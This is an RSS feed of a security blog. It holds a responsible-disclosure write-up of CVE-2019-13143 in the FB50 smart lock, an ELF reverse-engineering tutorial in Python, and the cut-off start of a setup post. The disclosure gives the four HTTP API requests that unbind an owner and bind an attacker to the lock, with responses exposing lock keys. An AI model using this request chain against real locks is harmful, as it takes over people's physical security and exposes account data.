1<?xml version='1.0' encoding='UTF-8'?>
  2<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  3  <channel>
  4    <title>icyphox's blog</title>
  5	<link>https://icyphox.sh/blog/</link>
  6    <description>icyphox's blog</description>
  7	<atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
  8    <image>
  9      <url>https://icyphox.sh/icyphox.png</url>
 10    </image>
 11    <language>en-us</language>
 12	<copyright>Creative Commons BY-NC-SA 4.0</copyright>
 13<item>
 14      <title>Picking the FB50 smart lock (CVE-2019-13143)</title>
 15	  <link>https://icyphox.sh/blog/fb50/</link>
 16      <description>&lt;h1 id=&quot;picking-the-fb50-smart-lock-cve-2019-13143&quot;&gt;Picking the FB50 smart lock (CVE-2019-13143)&lt;/h1&gt;
 17
 18&lt;h2 id=&quot;and-lessons-learnt-in-iot-security&quot;&gt;… and lessons learnt in IoT security&lt;/h2&gt;
 19
 20&lt;p&gt;(&lt;em&gt;originally posted at &lt;a href=&quot;http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure&quot;&gt;SecureLayer7&amp;#8217;s Blog&lt;/a&gt;, with my edits&lt;/em&gt;)&lt;/p&gt;
 21
 22&lt;h3 id=&quot;the-lock&quot;&gt;The lock&lt;/h3&gt;
 23
 24&lt;p&gt;The lock in question is the FB50 smart lock, manufactured by Shenzhen
 25Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
 26across many ecommerce sites, and has over, an estimated, 15k+ users.&lt;/p&gt;
 27
 28&lt;p&gt;The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
 29the Play/App Store to function. The app requires the user to create an
 30account before further functionality is available. 
 31It also facilitates configuring the fingerprint,
 32and unlocking from a range via Bluetooth.&lt;/p&gt;
 33
 34&lt;p&gt;We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
 35and the Android app.&lt;/p&gt;
 36
 37&lt;h3 id=&quot;via-bluetooth-low-energy-ble&quot;&gt;Via Bluetooth Low Energy (BLE)&lt;/h3&gt;
 38
 39&lt;p&gt;Android phones have the ability to capture Bluetooth (HCI) traffic
 40which can be enabled under Developer Options under Settings. We made 
 41around 4 &amp;#8220;unlocks&amp;#8221; from the Android phone, as seen in the screenshot.&lt;/p&gt;
 42
 43&lt;p&gt;&lt;img src=&quot;/static/img/bt_wireshark.png&quot; alt=&quot;wireshark packets&quot; /&gt;&lt;/p&gt;
 44
 45&lt;p&gt;This is the value sent in the &lt;code&gt;Write&lt;/code&gt; request:&lt;/p&gt;
 46
 47&lt;p&gt;&lt;img src=&quot;/static/img/bt_ws_value.png&quot; alt=&quot;wireshark write req&quot; /&gt;&lt;/p&gt;
 48
 49&lt;p&gt;We attempted replaying these requests using &lt;code&gt;gattool&lt;/code&gt; and &lt;code&gt;gattacker&lt;/code&gt;,
 50but that didn&amp;#8217;t pan out, since the value being written was encrypted.&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-1&quot;&gt;&lt;a href=&quot;#fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
 51
 52&lt;h3 id=&quot;via-the-android-app&quot;&gt;Via the Android app&lt;/h3&gt;
 53
 54&lt;p&gt;Reversing the app using &lt;code&gt;jd-gui&lt;/code&gt;, &lt;code&gt;apktool&lt;/code&gt; and &lt;code&gt;dex2jar&lt;/code&gt; didn&amp;#8217;t get us too
 55far since most of it was obfuscated. Why bother when there exists an 
 56easier approach &amp;#8211; BurpSuite.&lt;/p&gt;
 57
 58&lt;p&gt;We captured and played around with a bunch of requests and responses,
 59and finally arrived at a working exploit chain.&lt;/p&gt;
 60
 61&lt;h3 id=&quot;the-exploit&quot;&gt;The exploit&lt;/h3&gt;
 62
 63&lt;p&gt;The entire exploit is a 4 step process consisting of authenticated 
 64HTTP requests:&lt;/p&gt;
 65
 66&lt;ol&gt;
 67&lt;li&gt;Using the lock&amp;#8217;s MAC (obtained via a simple Bluetooth scan in the 
 68vicinity), get the barcode and lock ID&lt;/li&gt;
 69&lt;li&gt;Using the barcode, fetch the user ID&lt;/li&gt;
 70&lt;li&gt;Using the lock ID and user ID, unbind the user from the lock&lt;/li&gt;
 71&lt;li&gt;Provide a new name, attacker&amp;#8217;s user ID and the MAC to bind the attacker
 72to the lock&lt;/li&gt;
 73&lt;/ol&gt;
 74
 75&lt;p&gt;This is what it looks like, in essence (personal info redacted).&lt;/p&gt;
 76
 77&lt;h4 id=&quot;request-1&quot;&gt;Request 1&lt;/h4&gt;
 78
 79&lt;pre&gt;&lt;code&gt;POST /oklock/lock/queryDevice
 80{&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;}
 81&lt;/code&gt;&lt;/pre&gt;
 82
 83&lt;p&gt;Response:&lt;/p&gt;
 84
 85&lt;pre&gt;&lt;code&gt;{
 86   &quot;result&quot;:{
 87      &quot;alarm&quot;:0,
 88      &quot;barcode&quot;:&quot;&amp;lt;BARCODE&amp;gt;&quot;,
 89      &quot;chipType&quot;:&quot;1&quot;,
 90      &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;,
 91      &quot;deviceId&quot;:&quot;&quot;,
 92      &quot;electricity&quot;:&quot;95&quot;,
 93      &quot;firmwareVersion&quot;:&quot;2.3&quot;,
 94      &quot;gsmVersion&quot;:&quot;&quot;,
 95      &quot;id&quot;:&amp;lt;LOCK ID&amp;gt;,
 96      &quot;isLock&quot;:0,
 97      &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;,
 98      &quot;lockPwd&quot;:&quot;000000&quot;,
 99      &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;,
100      &quot;name&quot;:&quot;lock&quot;,
101      &quot;radioName&quot;:&quot;BlueFPL&quot;,
102      &quot;type&quot;:0
103   },
104   &quot;status&quot;:&quot;2000&quot;
105}
106&lt;/code&gt;&lt;/pre&gt;
107
108&lt;h4 id=&quot;request-2&quot;&gt;Request 2&lt;/h4&gt;
109
110&lt;pre&gt;&lt;code&gt;POST /oklock/lock/getDeviceInfo
111
112{&quot;barcode&quot;:&quot;https://app.oklok.com.cn/app.html?id=&amp;lt;BARCODE&amp;gt;&quot;}
113&lt;/code&gt;&lt;/pre&gt;
114
115&lt;p&gt;Response:&lt;/p&gt;
116
117&lt;pre&gt;&lt;code&gt;   &quot;result&quot;:{
118      &quot;account&quot;:&quot;email@some.website&quot;,
119      &quot;alarm&quot;:0,
120      &quot;barcode&quot;:&quot;&amp;lt;BARCODE&amp;gt;&quot;,
121      &quot;chipType&quot;:&quot;1&quot;,
122      &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;,
123      &quot;deviceId&quot;:&quot;&quot;,
124      &quot;electricity&quot;:&quot;95&quot;,
125      &quot;firmwareVersion&quot;:&quot;2.3&quot;,
126      &quot;gsmVersion&quot;:&quot;&quot;,
127      &quot;id&quot;:&amp;lt;LOCK ID&amp;gt;,
128      &quot;isLock&quot;:0,
129      &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;,
130      &quot;lockPwd&quot;:&quot;000000&quot;,
131      &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;,
132      &quot;name&quot;:&quot;lock&quot;,
133      &quot;radioName&quot;:&quot;BlueFPL&quot;,
134      &quot;type&quot;:0,
135      &quot;userId&quot;:&amp;lt;USER ID&amp;gt;
136   }
137&lt;/code&gt;&lt;/pre&gt;
138
139&lt;h4 id=&quot;request-3&quot;&gt;Request 3&lt;/h4&gt;
140
141&lt;pre&gt;&lt;code&gt;POST /oklock/lock/unbind
142
143{&quot;lockId&quot;:&quot;&amp;lt;LOCK ID&amp;gt;&quot;,&quot;userId&quot;:&amp;lt;USER ID&amp;gt;}
144&lt;/code&gt;&lt;/pre&gt;
145
146&lt;h4 id=&quot;request-4&quot;&gt;Request 4&lt;/h4&gt;
147
148&lt;pre&gt;&lt;code&gt;POST /oklock/lock/bind
149
150{&quot;name&quot;:&quot;newname&quot;,&quot;userId&quot;:&amp;lt;USER ID&amp;gt;,&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;}
151&lt;/code&gt;&lt;/pre&gt;
152
153&lt;h3 id=&quot;thats-it-the-scary-stuff&quot;&gt;That&amp;#8217;s it! (&amp;amp; the scary stuff)&lt;/h3&gt;
154
155&lt;p&gt;You should have the lock transferred to your account. The severity of this
156issue lies in the fact that the original owner completely loses access to
157their lock. They can&amp;#8217;t even &amp;#8220;rebind&amp;#8221; to get it back, since the current owner 
158(the attacker) needs to authorize that. &lt;/p&gt;
159
160&lt;p&gt;To add to that, roughly 15,000 user accounts&amp;#8217; info are exposed via IDOR.
161Ilja, a cool dude I met on Telegram, noticed locks named &amp;#8220;carlock&amp;#8221;, 
162&amp;#8220;garage&amp;#8221;, &amp;#8220;MainDoor&amp;#8221;, etc.&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-2&quot;&gt;&lt;a href=&quot;#fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; This is terrifying.&lt;/p&gt;
163
164&lt;p&gt;&lt;em&gt;shudders&lt;/em&gt;&lt;/p&gt;
165
166&lt;h3 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h3&gt;
167
168&lt;p&gt;&lt;a href=&quot;https://twitter.com/icyphox/status/1158396372778807296&quot;&gt;PoC Video&lt;/a&gt;&lt;/p&gt;
169
170&lt;p&gt;&lt;a href=&quot;https://github.com/icyphox/pwnfb50&quot;&gt;Exploit code&lt;/a&gt;&lt;/p&gt;
171
172&lt;h3 id=&quot;disclosure-timeline&quot;&gt;Disclosure timeline&lt;/h3&gt;
173
174&lt;ul&gt;
175&lt;li&gt;&lt;strong&gt;26th June, 2019&lt;/strong&gt;: Issue discovered at SecureLayer7, Pune&lt;/li&gt;
176&lt;li&gt;&lt;strong&gt;27th June, 2019&lt;/strong&gt;: Vendor notified about the issue&lt;/li&gt;
177&lt;li&gt;&lt;strong&gt;2nd July, 2019&lt;/strong&gt;: CVE-2019-13143 reserved&lt;/li&gt;
178&lt;li&gt;No response from vendor&lt;/li&gt;
179&lt;li&gt;&lt;strong&gt;2nd August 2019&lt;/strong&gt;: Public disclosure&lt;/li&gt;
180&lt;/ul&gt;
181
182&lt;h3 id=&quot;lessons-learnt&quot;&gt;Lessons learnt&lt;/h3&gt;
183
184&lt;p&gt;&lt;strong&gt;DO NOT&lt;/strong&gt;. Ever. Buy. A smart lock. You&amp;#8217;re better off with the &amp;#8220;dumb&amp;#8221; ones
185with keys. With the IoT plague spreading, it brings in a large attack surface
186to things that were otherwise &amp;#8220;unhackable&amp;#8221; (try hacking a &amp;#8220;dumb&amp;#8221; toaster).&lt;/p&gt;
187
188&lt;p&gt;The IoT security scene is rife with bugs from over 10 years ago, like
189executable stack segments&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-3&quot;&gt;&lt;a href=&quot;#fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;, hardcoded keys, and poor development 
190practices in general.&lt;/p&gt;
191
192&lt;p&gt;Our existing threat models and scenarios have to be updated to factor 
193in these new exploitation possibilities. This also broadens the playing 
194field for cyber warfare and mass surveillance campaigns. &lt;/p&gt;
195
196&lt;h3 id=&quot;researcher-info&quot;&gt;Researcher info&lt;/h3&gt;
197
198&lt;p&gt;This research was done at &lt;a href=&quot;https://securelayer7.net&quot;&gt;SecureLayer7&lt;/a&gt;, Pune, IN by:&lt;/p&gt;
199
200&lt;ul&gt;
201&lt;li&gt;Anirudh Oppiliappan (me)&lt;/li&gt;
202&lt;li&gt;S. Raghav Pillai (&lt;a href=&quot;https://twitter.com/_vologue&quot;&gt;@_vologue&lt;/a&gt;)&lt;/li&gt;
203&lt;li&gt;Shubham Chougule (&lt;a href=&quot;https://twitter.com/shubhamtc&quot;&gt;@shubhamtc&lt;/a&gt;)&lt;/li&gt;
204&lt;/ul&gt;
205
206&lt;div class=&quot;footnotes&quot;&gt;
207&lt;hr /&gt;
208&lt;ol&gt;
209&lt;li id=&quot;fn-1&quot;&gt;
210&lt;p&gt;&lt;a href=&quot;https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/&quot;&gt;This&lt;/a&gt; article discusses a similar smart lock, but they broke the encryption.&amp;#160;&lt;a href=&quot;#fnref-1&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 1 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
211&lt;/li&gt;
212
213&lt;li id=&quot;fn-2&quot;&gt;
214&lt;p&gt;Thanks to Ilja Shaposhnikov (@drakylar).&amp;#160;&lt;a href=&quot;#fnref-2&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 2 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
215&lt;/li&gt;
216
217&lt;li id=&quot;fn-3&quot;&gt;
218&lt;p&gt;&lt;a href=&quot;https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf&quot;&gt;PDF&lt;/a&gt;&amp;#160;&lt;a href=&quot;#fnref-3&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 3 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
219&lt;/li&gt;
220&lt;/ol&gt;
221&lt;/div&gt;
222</description>
223      <pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate>
224      <guid>https://icyphox.sh/blog/fb50/</guid>
225</item>
226<item>
227      <title>Python for Reverse Engineering #1: ELF Binaries</title>
228	  <link>https://icyphox.sh/blog/python-for-re-1</link>
229      <description>&lt;h1 id=&quot;python-for-reverse-engineering-1-elf-binaries&quot;&gt;Python for Reverse Engineering 1: ELF Binaries&lt;/h1&gt;
230
231&lt;h2 id=&quot;building-your-own-disassembly-tooling-for-thats-right-fun-and-profit&quot;&gt;Building your own disassembly tooling for — that’s right — fun and profit&lt;/h2&gt;
232
233&lt;p&gt;While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.&lt;/p&gt;
234
235&lt;p&gt;Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.&lt;/p&gt;
236
237&lt;h3 id=&quot;setup&quot;&gt;Setup&lt;/h3&gt;
238
239&lt;p&gt;As the title suggests, you’re going to need a Python 3 interpreter before
240anything else. Once you’ve confirmed beyond reasonable doubt that you do,
241in fact, have a Python 3 interpreter installed on your system, run&lt;/p&gt;
242
243&lt;pre&gt;&lt;code&gt;$ pip install capstone pyelftools
244&lt;/code&gt;&lt;/pre&gt;
245
246&lt;p&gt;where &lt;code&gt;capstone&lt;/code&gt; is the disassembly engine we’ll be scripting with and &lt;code&gt;pyelftools&lt;/code&gt; to help parse ELF files.&lt;/p&gt;
247
248&lt;p&gt;With that out of the way, let’s start with an example of a basic reversing
249challenge.&lt;/p&gt;
250
251&lt;pre&gt;&lt;code&gt;/* chall.c */
252
253#include &amp;lt;stdio.h&amp;gt;
254#include &amp;lt;stdlib.h&amp;gt;
255#include &amp;lt;string.h&amp;gt;
256
257int main() {
258   char *pw = malloc(9);
259   pw[0] = &#x27;a&#x27;;
260   for(int i = 1; i &amp;lt;= 8; i++){
261       pw[i] = pw[i - 1] + 1;
262   }
263   pw[9] = &#x27;\0&#x27;;
264   char *in = malloc(10);
265   printf(&quot;password: &quot;);
266   fgets(in, 10, stdin);        // &#x27;abcdefghi&#x27;
267   if(strcmp(in, pw) == 0) {
268       printf(&quot;haha yes!\n&quot;);
269   }
270   else {
271       printf(&quot;nah dude\n&quot;);
272   }
273}
274&lt;/code&gt;&lt;/pre&gt;
275
276&lt;p&gt;Compile it with GCC/Clang:&lt;/p&gt;
277
278&lt;pre&gt;&lt;code&gt;$ gcc chall.c -o chall.elf
279&lt;/code&gt;&lt;/pre&gt;
280
281&lt;h3 id=&quot;scripting&quot;&gt;Scripting&lt;/h3&gt;
282
283&lt;p&gt;For starters, let’s look at the different sections present in the binary.&lt;/p&gt;
284
285&lt;pre&gt;&lt;code&gt;# sections.py
286
287from elftools.elf.elffile import ELFFile
288
289with open(&#x27;./chall.elf&#x27;, &#x27;rb&#x27;) as f:
290    e = ELFFile(f)
291    for section in e.iter_sections():
292        print(hex(section[&#x27;sh_addr&#x27;]), section.name)
293&lt;/code&gt;&lt;/pre&gt;
294
295&lt;p&gt;This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us&lt;/p&gt;
296
297&lt;pre&gt;&lt;code&gt;› python sections.py
2980x238 .interp
2990x254 .note.ABI-tag
3000x274 .note.gnu.build-id
3010x298 .gnu.hash
3020x2c0 .dynsym
3030x3e0 .dynstr
3040x484 .gnu.version
3050x4a0 .gnu.version_r
3060x4c0 .rela.dyn
3070x598 .rela.plt
3080x610 .init
3090x630 .plt
3100x690 .plt.got
3110x6a0 .text
3120x8f4 .fini
3130x900 .rodata
3140x924 .eh_frame_hdr
3150x960 .eh_frame
3160x200d98 .init_array
3170x200da0 .fini_array
3180x200da8 .dynamic
3190x200f98 .got
3200x201000 .data
3210x201010 .bss
3220x0 .comment
3230x0 .symtab
3240x0 .strtab
3250x0 .shstrtab
326&lt;/code&gt;&lt;/pre&gt;
327
328&lt;p&gt;Most of these aren’t relevant to us, but a few sections here are to be noted. The &lt;code&gt;.text&lt;/code&gt; section contains the instructions (opcodes) that we’re after. The &lt;code&gt;.data&lt;/code&gt; section should have strings and constants initialized at compile time. Finally, the &lt;code&gt;.plt&lt;/code&gt; which is the Procedure Linkage Table and the &lt;code&gt;.got&lt;/code&gt;, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.&lt;/p&gt;
329
330&lt;p&gt;Since we know that the &lt;code&gt;.text&lt;/code&gt; section has the opcodes, let’s disassemble the binary starting at that address.&lt;/p&gt;
331
332&lt;pre&gt;&lt;code&gt;# disas1.py
333
334from elftools.elf.elffile import ELFFile
335from capstone import *
336
337with open(&#x27;./bin.elf&#x27;, &#x27;rb&#x27;) as f:
338    elf = ELFFile(f)
339    code = elf.get_section_by_name(&#x27;.text&#x27;)
340    ops = code.data()
341    addr = code[&#x27;sh_addr&#x27;]
342    md = Cs(CS_ARCH_X86, CS_MODE_64)
343    for i in md.disasm(ops, addr):        
344        print(f&#x27;0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}&#x27;)
345&lt;/code&gt;&lt;/pre&gt;
346
347&lt;p&gt;The code is fairly straightforward (I think). We should be seeing this, on running&lt;/p&gt;
348
349&lt;pre&gt;&lt;code&gt;› python disas1.py | less      
3500x6a0: xor ebp, ebp
3510x6a2: mov r9, rdx
3520x6a5: pop rsi
3530x6a6: mov rdx, rsp
3540x6a9: and rsp, 0xfffffffffffffff0
3550x6ad: push rax
3560x6ae: push rsp
3570x6af: lea r8, [rip + 0x23a]
3580x6b6: lea rcx, [rip + 0x1c3]
3590x6bd: lea rdi, [rip + 0xe6]
360**0x6c4: call qword ptr [rip + 0x200916]**
3610x6ca: hlt
362... snip ...
363&lt;/code&gt;&lt;/pre&gt;
364
365&lt;p&gt;The line in bold is fairly interesting to us. The address at &lt;code&gt;[rip + 0x200916]&lt;/code&gt; is equivalent to &lt;code&gt;[0x6ca + 0x200916]&lt;/code&gt;, which in turn evaluates to &lt;code&gt;0x200fe0&lt;/code&gt;. The first &lt;code&gt;call&lt;/code&gt; being made to a function at &lt;code&gt;0x200fe0&lt;/code&gt;? What could this function be?&lt;/p&gt;
366
367&lt;p&gt;For this, we will have to look at &lt;strong&gt;relocations&lt;/strong&gt;. Quoting &lt;a href=&quot;http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html&quot;&gt;linuxbase.org&lt;/a&gt;&lt;/p&gt;
368
369&lt;blockquote&gt;
370  &lt;p&gt;Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.&lt;/p&gt;
371&lt;/blockquote&gt;
372
373&lt;p&gt;To try and find these relocation entries, we write a third script.&lt;/p&gt;
374
375&lt;pre&gt;&lt;code&gt;# relocations.py
376
377import sys
378from elftools.elf.elffile import ELFFile
379from elftools.elf.relocation import RelocationSection
380
381with open(&#x27;./chall.elf&#x27;, &#x27;rb&#x27;) as f:
382    e = ELFFile(f)
383    for section in e.iter_sections():
384        if isinstance(section, RelocationSection):
385            print(f&#x27;{section.name}:&#x27;)
386            symbol_table = e.get_section(section[&#x27;sh_link&#x27;])
387            for relocation in section.iter_relocations():
388                symbol = symbol_table.get_symbol(relocation[&#x27;r_info_sym&#x27;])
389                addr = hex(relocation[&#x27;r_offset&#x27;])
390                print(f&#x27;{symbol.name} {addr}&#x27;)
391&lt;/code&gt;&lt;/pre&gt;
392
393&lt;p&gt;Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type &lt;code&gt;RelocationSection&lt;/code&gt;. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us&lt;/p&gt;
394
395&lt;pre&gt;&lt;code&gt;› python relocations.py
396.rela.dyn:
397 0x200d98
398 0x200da0
399 0x201008
400_ITM_deregisterTMCloneTable 0x200fd8
401**__libc_start_main 0x200fe0**
402__gmon_start__ 0x200fe8
403_ITM_registerTMCloneTable 0x200ff0
404__cxa_finalize 0x200ff8
405stdin 0x201010
406.rela.plt:
407puts 0x200fb0
408printf 0x200fb8
409fgets 0x200fc0
410strcmp 0x200fc8
411malloc 0x200fd0
412&lt;/code&gt;&lt;/pre&gt;
413
414&lt;p&gt;Remember the function call at &lt;code&gt;0x200fe0&lt;/code&gt; from earlier? Yep, so that was a call to the well known &lt;code&gt;__libc_start_main&lt;/code&gt;. Again, according to &lt;a href=&quot;http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&amp;#8212;libc-start-main-.html&quot;&gt;linuxbase.org&lt;/a&gt;&lt;/p&gt;
415
416&lt;blockquote&gt;
417  &lt;p&gt;The &lt;code&gt;__libc_start_main()&lt;/code&gt; function shall perform any necessary initialization of the execution environment, call the &lt;em&gt;main&lt;/em&gt; function with appropriate arguments, and handle the return from &lt;code&gt;main()&lt;/code&gt;. If the &lt;code&gt;main()&lt;/code&gt; function returns, the return value shall be passed to the &lt;code&gt;exit()&lt;/code&gt; function.&lt;/p&gt;
418&lt;/blockquote&gt;
419
420&lt;p&gt;And its definition is like so&lt;/p&gt;
421
422&lt;pre&gt;&lt;code&gt;int __libc_start_main(int *(main) (int, char * *, char * *), 
423int argc, char * * ubp_av, 
424void (*init) (void), 
425void (*fini) (void), 
426void (*rtld_fini) (void), 
427void (* stack_end));
428&lt;/code&gt;&lt;/pre&gt;
429
430&lt;p&gt;Looking back at our disassembly&lt;/p&gt;
431
432&lt;pre&gt;&lt;code&gt;0x6a0: xor ebp, ebp
4330x6a2: mov r9, rdx
4340x6a5: pop rsi
4350x6a6: mov rdx, rsp
4360x6a9: and rsp, 0xfffffffffffffff0
4370x6ad: push rax
4380x6ae: push rsp
4390x6af: lea r8, [rip + 0x23a]
4400x6b6: lea rcx, [rip + 0x1c3]
441**0x6bd: lea rdi, [rip + 0xe6]**
4420x6c4: call qword ptr [rip + 0x200916]
4430x6ca: hlt
444... snip ...
445&lt;/code&gt;&lt;/pre&gt;
446
447&lt;p&gt;but this time, at the &lt;code&gt;lea&lt;/code&gt; or Load Effective Address instruction, which loads some address &lt;code&gt;[rip + 0xe6]&lt;/code&gt; into the &lt;code&gt;rdi&lt;/code&gt; register. &lt;code&gt;[rip + 0xe6]&lt;/code&gt; evaluates to &lt;code&gt;0x7aa&lt;/code&gt; which happens to be the address of our &lt;code&gt;main()&lt;/code&gt; function! How do I know that? Because &lt;code&gt;__libc_start_main()&lt;/code&gt;, after doing whatever it does, eventually jumps to the function at &lt;code&gt;rdi&lt;/code&gt;, which is generally the &lt;code&gt;main()&lt;/code&gt; function. It looks something like this&lt;/p&gt;
448
449&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
450
451&lt;p&gt;To see the disassembly of &lt;code&gt;main&lt;/code&gt;, seek to &lt;code&gt;0x7aa&lt;/code&gt; in the output of the script we’d written earlier (&lt;code&gt;disas1.py&lt;/code&gt;).&lt;/p&gt;
452
453&lt;p&gt;From what we discovered earlier, each &lt;code&gt;call&lt;/code&gt; instruction points to some function which we can see from the relocation entries. So following each &lt;code&gt;call&lt;/code&gt; into their relocations gives us this&lt;/p&gt;
454
455&lt;pre&gt;&lt;code&gt;printf 0x650
456fgets  0x660
457strcmp 0x670
458malloc 0x680
459&lt;/code&gt;&lt;/pre&gt;
460
461&lt;p&gt;Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.&lt;/p&gt;
462
463&lt;pre&gt;&lt;code&gt;0x7b2: mov edi, 0xa  ; 10
4640x7b7: call 0x680    ; malloc
465&lt;/code&gt;&lt;/pre&gt;
466
467&lt;p&gt;The loop to populate the &lt;code&gt;*pw&lt;/code&gt; string&lt;/p&gt;
468
469&lt;pre&gt;&lt;code&gt;0x7d0:  mov     eax, dword ptr [rbp - 0x14]
4700x7d3:  cdqe    
4710x7d5:  lea     rdx, [rax - 1]
4720x7d9:  mov     rax, qword ptr [rbp - 0x10]
4730x7dd:  add     rax, rdx
4740x7e0:  movzx   eax, byte ptr [rax]
4750x7e3:  lea     ecx, [rax + 1]
4760x7e6:  mov     eax, dword ptr [rbp - 0x14]
4770x7e9:  movsxd  rdx, eax
4780x7ec:  mov     rax, qword ptr [rbp - 0x10]
4790x7f0:  add     rax, rdx
4800x7f3:  mov     edx, ecx
4810x7f5:  mov     byte ptr [rax], dl
4820x7f7:  add     dword ptr [rbp - 0x14], 1
4830x7fb:  cmp     dword ptr [rbp - 0x14], 8
4840x7ff:  jle     0x7d0
485&lt;/code&gt;&lt;/pre&gt;
486
487&lt;p&gt;And this looks like our &lt;code&gt;strcmp()&lt;/code&gt;&lt;/p&gt;
488
489&lt;pre&gt;&lt;code&gt;0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
4900x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
4910x84b:  mov     rsi, rdx             
4920x84e:  mov     rdi, rax
4930x851:  call    0x670                       ; strcmp  
4940x856:  test    eax, eax                    ; is = 0? 
4950x858:  jne     0x868                       ; no? jump to 0x868
4960x85a:  lea     rdi, [rip + 0xae]           ; &quot;haha yes!&quot; 
4970x861:  call    0x640                       ; puts
4980x866:  jmp     0x874
4990x868:  lea     rdi, [rip + 0xaa]           ; &quot;nah dude&quot;
5000x86f:  call    0x640                       ; puts  
501&lt;/code&gt;&lt;/pre&gt;
502
503&lt;p&gt;I’m not sure why it uses &lt;code&gt;puts&lt;/code&gt; here? I might be missing something; perhaps &lt;code&gt;printf&lt;/code&gt; calls &lt;code&gt;puts&lt;/code&gt;. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.&lt;/p&gt;
504
505&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: It&amp;#8217;s because of compiler optimization. A &lt;code&gt;printf()&lt;/code&gt; (in this case) is seen as a bit overkill, and hence gets simplified to a &lt;code&gt;puts()&lt;/code&gt;.&lt;/p&gt;
506
507&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
508
509&lt;p&gt;Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.&lt;/p&gt;
510
511&lt;p&gt;All the code used in this post is here: &lt;a href=&quot;https://github.com/icyphox/asdf/tree/master/reversing-elf&quot;&gt;https://github.com/icyphox/asdf/tree/master/reversing-elf&lt;/a&gt;&lt;/p&gt;
512
513&lt;p&gt;Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.&lt;/p&gt;
514</description>
515      <pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate>
516      <guid>https://icyphox.sh/blog/python-for-re-1/</guid>
517</item>
518<item>
519      <title>My Setup</title>
520	  <link>https://icyphox.sh/blog/my-setup</link>
521      <description>&lt;h1 id=&quot;my-setup&quot;&gt;My Setup&lt;/h1&gt;
522
523&lt;h2 id=&quot;my-daily-drivers-hardware-and-software&quot;&gt;My daily drivers — hardware and software&lt;/h2&gt;
524
525&lt;h3 id=&quot;hardware&quot;&gt;Hardware&lt;/h3&gt;
526
527&lt;p&gt;The only computer I have with me is my &lt;a href=&quot;https://store.hp.com/us/en/mdp/laptops/envy-13&quot;&gt;HP Envy 13 (2018)&lt;/a&gt; (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
5288 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.&lt;/p&gt;
529
530&lt;p&gt;For my phone, I use a &lt;a href=&quot;https://www.oneplus.in/6t&quot;&gt;OnePlus 6T&lt;/a&gt;, running stock &lt;a href=&quot;https://www.oneplus.in/oxygenos&quot;&gt;OxygenOS&lt;/a&gt;. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
